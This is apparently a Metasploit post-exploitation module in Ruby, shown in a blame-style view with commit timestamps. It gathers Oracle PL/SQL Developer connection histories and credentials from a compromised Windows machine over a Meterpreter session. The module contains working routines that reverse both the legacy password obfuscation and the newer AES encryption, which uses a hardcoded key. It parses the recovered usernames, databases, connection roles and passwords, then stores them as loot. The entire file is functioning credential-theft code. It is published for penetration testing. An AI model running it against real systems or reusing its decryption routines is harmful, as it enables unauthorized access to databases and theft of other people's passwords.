2023-10-26 19:38:02 +08:00
|
|
|
##
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Post
|
|
|
|
|
include Msf::Post::Windows::UserProfiles
|
|
|
|
|
include Msf::Post::File
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
2023-11-08 01:15:22 +08:00
|
|
|
'Name' => 'Windows Gather PL/SQL Developer Connection Credentials',
|
2023-10-26 19:38:02 +08:00
|
|
|
'Description' => %q{
|
2023-11-08 01:15:22 +08:00
|
|
|
This module can decrypt the histories and connection credentials of PL/SQL Developer,
|
|
|
|
|
and passwords are available if the user chooses to remember.
|
2023-10-26 19:38:02 +08:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' => [
|
|
|
|
|
[ 'URL', 'https://adamcaudill.com/2016/02/02/plsql-developer-nonexistent-encryption/']
|
|
|
|
|
],
|
|
|
|
|
'Author' => [
|
2023-11-09 13:58:14 +08:00
|
|
|
'Adam Caudill', # Discovery of legacy decryption algorithm
|
|
|
|
|
'Jemmy Wang' # Msf module & Discovery of AES decryption algorithm
|
2023-10-26 19:38:02 +08:00
|
|
|
],
|
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
|
|
|
'Compat' => {
|
|
|
|
|
'Meterpreter' => {
|
|
|
|
|
'Commands' => %w[
|
|
|
|
|
stdapi_fs_ls
|
|
|
|
|
stdapi_fs_separator
|
|
|
|
|
stdapi_fs_stat
|
|
|
|
|
]
|
|
|
|
|
}
|
|
|
|
|
},
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [CRASH_SAFE],
|
|
|
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
|
|
|
'Reliability' => []
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('PLSQL_PATH', [ false, 'Specify the path of PL/SQL Developer']),
|
|
|
|
|
]
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-08 01:15:22 +08:00
|
|
|
def decrypt_str_legacy(str)
|
2023-10-26 19:38:02 +08:00
|
|
|
result = ''
|
|
|
|
|
key = str[0..3].to_i
|
|
|
|
|
for i in 1..(str.length / 4 - 1) do
|
|
|
|
|
n = str[(i * 4)..(i * 4 + 3)].to_i
|
|
|
|
|
result << (((n - 1000) ^ (key + i * 10)) >> 4).chr
|
|
|
|
|
end
|
|
|
|
|
return result
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-09 13:58:14 +08:00
|
|
|
# New AES encryption algorithm introduced since PL/SQL Developer 15.0
|
2023-11-09 05:08:27 +08:00
|
|
|
def decrypt_str_aes(str)
|
|
|
|
|
bytes = Rex::Text.decode_base64(str)
|
|
|
|
|
|
|
|
|
|
cipher = OpenSSL::Cipher.new('aes-256-cfb8')
|
|
|
|
|
cipher.decrypt
|
2023-11-09 05:26:20 +08:00
|
|
|
hash = Digest::SHA1.digest('PL/SQL developer + Oracle 11.0.x')
|
|
|
|
|
cipher.key = hash + hash[0..11]
|
2023-11-09 05:08:27 +08:00
|
|
|
cipher.iv = bytes[0..7] + "\x00" * 8
|
|
|
|
|
|
|
|
|
|
return cipher.update(bytes[8..]) + cipher.final
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-08 01:15:22 +08:00
|
|
|
def decrypt_str(str)
|
2023-11-09 05:08:27 +08:00
|
|
|
# Empty string
|
2023-11-08 01:15:22 +08:00
|
|
|
if str == ''
|
|
|
|
|
return ''
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-09 13:58:14 +08:00
|
|
|
if str.match(/^(\d{4})+$/)
|
2023-11-09 05:08:27 +08:00
|
|
|
return decrypt_str_legacy(str) # Legacy encryption
|
2023-11-09 13:58:14 +08:00
|
|
|
elsif str.match(%r{^X\.([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$})
|
|
|
|
|
return decrypt_str_aes(str[2..]) # New AES encryption
|
2023-11-08 01:15:22 +08:00
|
|
|
end
|
|
|
|
|
|
2023-11-09 05:08:27 +08:00
|
|
|
# Shouldn't reach here
|
|
|
|
|
print_error("Unknown encryption format: #{str}")
|
|
|
|
|
return '[Unknown]'
|
2023-11-08 01:15:22 +08:00
|
|
|
end
|
|
|
|
|
|
2023-11-09 05:08:27 +08:00
|
|
|
# Parse and separate the history string
|
2023-11-08 01:15:22 +08:00
|
|
|
def parse_history(str)
|
2023-11-09 13:58:14 +08:00
|
|
|
# @keys is defined in decrypt_pref, and this function is called by decrypt_pref after @keys is defined
|
|
|
|
|
result = Hash[@keys.map { |k| [k.to_sym, ''] }]
|
|
|
|
|
result[:Parent] = '-2'
|
2023-11-08 01:15:22 +08:00
|
|
|
|
|
|
|
|
if str.end_with?(' AS SYSDBA')
|
|
|
|
|
result[:ConnectAs] = 'SYSDBA'
|
|
|
|
|
str = str[0..-11]
|
|
|
|
|
elsif str.end_with?(' AS SYSOPER')
|
|
|
|
|
result[:ConnectAs] = 'SYSOPER'
|
|
|
|
|
str = str[0..-12]
|
|
|
|
|
else
|
|
|
|
|
result[:ConnectAs] = 'Normal'
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Database should be the last part after '@' sign
|
|
|
|
|
ind = str.rindex('@')
|
|
|
|
|
if ind.nil?
|
|
|
|
|
# Unexpected format, just use the whole string as DisplayName
|
|
|
|
|
result[:DisplayName] = str
|
|
|
|
|
return result
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
result[:Database] = str[(ind + 1)..]
|
|
|
|
|
str = str[0..(ind - 1)]
|
|
|
|
|
|
|
|
|
|
unless str.count('/') == 1
|
|
|
|
|
# Unexpected format, just use the whole string as DisplayName
|
|
|
|
|
result[:DisplayName] = str
|
|
|
|
|
return result
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
result[:Username] = str[0..(str.index('/') - 1)]
|
|
|
|
|
result[:Password] = str[(str.index('/') + 1)..]
|
|
|
|
|
|
|
|
|
|
return result
|
|
|
|
|
end
|
|
|
|
|
|
2023-10-26 19:38:02 +08:00
|
|
|
def decrypt_pref(file_name)
|
|
|
|
|
file_contents = read_file(file_name)
|
|
|
|
|
if file_contents.nil? || file_contents.empty?
|
|
|
|
|
print_status "Skipping empty file: #{file_name}"
|
|
|
|
|
return []
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_status("Decrypting #{file_name}")
|
|
|
|
|
result = []
|
|
|
|
|
|
2023-11-08 01:15:22 +08:00
|
|
|
logon_history_section = false
|
|
|
|
|
connections_section = false
|
|
|
|
|
|
|
|
|
|
# Keys that we care about
|
2023-11-09 13:58:14 +08:00
|
|
|
@keys = %w[DisplayName Number Parent IsFolder Username Database ConnectAs Password]
|
2023-11-08 01:15:22 +08:00
|
|
|
# Initialize obj with empty values
|
2023-11-09 13:58:14 +08:00
|
|
|
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
|
2023-11-09 05:08:27 +08:00
|
|
|
# Folder parent objects
|
2023-11-08 01:15:22 +08:00
|
|
|
folders = {}
|
|
|
|
|
|
2023-10-26 19:38:02 +08:00
|
|
|
file_contents.split("\n").each do |line|
|
|
|
|
|
line.gsub!(/(\n|\r)/, '')
|
|
|
|
|
|
2023-11-08 01:15:22 +08:00
|
|
|
if line == '[LogonHistory]' && !(logon_history_section || connections_section)
|
|
|
|
|
logon_history_section = true
|
2023-10-26 19:38:02 +08:00
|
|
|
next
|
2023-11-08 01:15:22 +08:00
|
|
|
elsif line == '[Connections]' && !(logon_history_section || connections_section)
|
|
|
|
|
connections_section = true
|
2023-10-26 19:38:02 +08:00
|
|
|
next
|
|
|
|
|
elsif line == ''
|
2023-11-08 01:15:22 +08:00
|
|
|
logon_history_section = false
|
|
|
|
|
connections_section = false
|
2023-10-26 19:38:02 +08:00
|
|
|
next
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-08 01:15:22 +08:00
|
|
|
if logon_history_section
|
2023-11-09 05:08:27 +08:00
|
|
|
# Contents in [LogonHistory] section are plain encrypted strings
|
|
|
|
|
# Calling the legacy decrypt function is intentional here
|
2023-11-08 01:15:22 +08:00
|
|
|
result << parse_history(decrypt_str_legacy(line))
|
|
|
|
|
elsif connections_section
|
2023-11-09 05:08:27 +08:00
|
|
|
# Contents in [Connections] section are key-value pairs
|
2023-11-08 01:15:22 +08:00
|
|
|
ind = line.index('=')
|
|
|
|
|
if ind.nil?
|
|
|
|
|
print_error("Invalid line: #{line}")
|
|
|
|
|
next
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
key = line[0..(ind - 1)]
|
|
|
|
|
value = line[(ind + 1)..]
|
|
|
|
|
|
|
|
|
|
if key == 'Password'
|
|
|
|
|
obj[:Password] = decrypt_str(value)
|
|
|
|
|
elsif obj.key?(key.to_sym)
|
|
|
|
|
obj[key.to_sym] = value
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Color is the last field of a connection
|
|
|
|
|
if key == 'Color'
|
|
|
|
|
if obj[:IsFolder] != '1'
|
|
|
|
|
result << obj
|
|
|
|
|
else
|
|
|
|
|
folders[obj[:Number]] = obj
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Reset obj
|
2023-11-09 13:58:14 +08:00
|
|
|
obj = Hash[@keys.map { |k| [k.to_sym, ''] }]
|
2023-11-08 01:15:22 +08:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-09 05:08:27 +08:00
|
|
|
# Build display name (Add parent folder name to the beginning of the display name)
|
2023-11-08 01:15:22 +08:00
|
|
|
result.each do |item|
|
|
|
|
|
pitem = item
|
2023-11-09 13:58:14 +08:00
|
|
|
while pitem[:Parent] != '-1' && pitem[:Parent] != '-2'
|
2023-11-08 01:15:22 +08:00
|
|
|
pitem = folders[pitem[:Parent]]
|
|
|
|
|
if pitem.nil?
|
|
|
|
|
print_error("Invalid parent: #{item[:Parent]}")
|
|
|
|
|
break
|
|
|
|
|
end
|
|
|
|
|
item[:DisplayName] = pitem[:DisplayName] + '/' + item[:DisplayName]
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-09 13:58:14 +08:00
|
|
|
if item[:Parent] == '-2'
|
|
|
|
|
item[:DisplayName] = '[LogonHistory]' + item[:DisplayName]
|
|
|
|
|
else
|
|
|
|
|
item[:DisplayName] = '[Connections]/' + item[:DisplayName]
|
|
|
|
|
end
|
|
|
|
|
|
2023-11-08 01:15:22 +08:00
|
|
|
# Remove fields used to build the display name
|
|
|
|
|
item.delete(:Parent)
|
|
|
|
|
item.delete(:Number)
|
|
|
|
|
item.delete(:IsFolder)
|
|
|
|
|
|
2023-11-09 05:08:27 +08:00
|
|
|
# Add file path to the final result
|
2023-11-08 01:15:22 +08:00
|
|
|
item[:FilePath] = file_name
|
2023-10-26 19:38:02 +08:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
return result
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def enumerate_pref(plsql_path)
|
|
|
|
|
result = []
|
|
|
|
|
pref_dir = plsql_path + session.fs.file.separator + 'Preferences'
|
|
|
|
|
session.fs.dir.entries(pref_dir).each do |username|
|
|
|
|
|
udir = pref_dir + session.fs.file.separator + username
|
|
|
|
|
file_name = udir + session.fs.file.separator + 'user.prefs'
|
|
|
|
|
|
|
|
|
|
result << file_name if directory?(udir) && file?(file_name)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
return result
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def run
|
2023-11-08 01:15:22 +08:00
|
|
|
print_status("Gather PL/SQL Developer Histories and Credentials on #{sysinfo['Computer']}")
|
2023-10-26 19:38:02 +08:00
|
|
|
profiles = grab_user_profiles
|
|
|
|
|
pref_paths = []
|
|
|
|
|
|
2023-11-08 01:15:22 +08:00
|
|
|
profiles.each do |user_profiles|
|
|
|
|
|
session.fs.dir.entries(user_profiles['AppData']).each do |dirname|
|
|
|
|
|
if dirname.start_with?('PLSQL Developer')
|
|
|
|
|
search_dir = user_profiles['AppData'] + session.fs.file.separator + dirname
|
|
|
|
|
pref_paths += enumerate_pref(search_dir)
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
end
|
2023-10-26 19:38:02 +08:00
|
|
|
pref_paths += enumerate_pref(datastore['PLSQL_PATH']) if datastore['PLSQL_PATH'].present?
|
|
|
|
|
|
|
|
|
|
result = []
|
|
|
|
|
pref_paths.uniq.each { |pref_path| result += decrypt_pref(pref_path) }
|
|
|
|
|
|
|
|
|
|
tbl = Rex::Text::Table.new(
|
2023-11-08 01:15:22 +08:00
|
|
|
'Header' => 'PL/SQL Developer Histories and Credentials',
|
|
|
|
|
'Columns' => ['DisplayName', 'Username', 'Database', 'ConnectAs', 'Password', 'FilePath']
|
2023-10-26 19:38:02 +08:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
result.each do |item|
|
|
|
|
|
tbl << item.values
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_line(tbl.to_s)
|
|
|
|
|
# Only save data to disk when there's something in the table
|
|
|
|
|
if tbl.rows.count > 0
|
2023-11-08 01:15:22 +08:00
|
|
|
path = store_loot('host.plsql_developer', 'text/plain', session, tbl, 'plsql_developer.txt', 'PL/SQL Developer Histories and Credentials')
|
2023-10-26 19:38:02 +08:00
|
|
|
print_good("Passwords stored in: #{path}")
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
end
|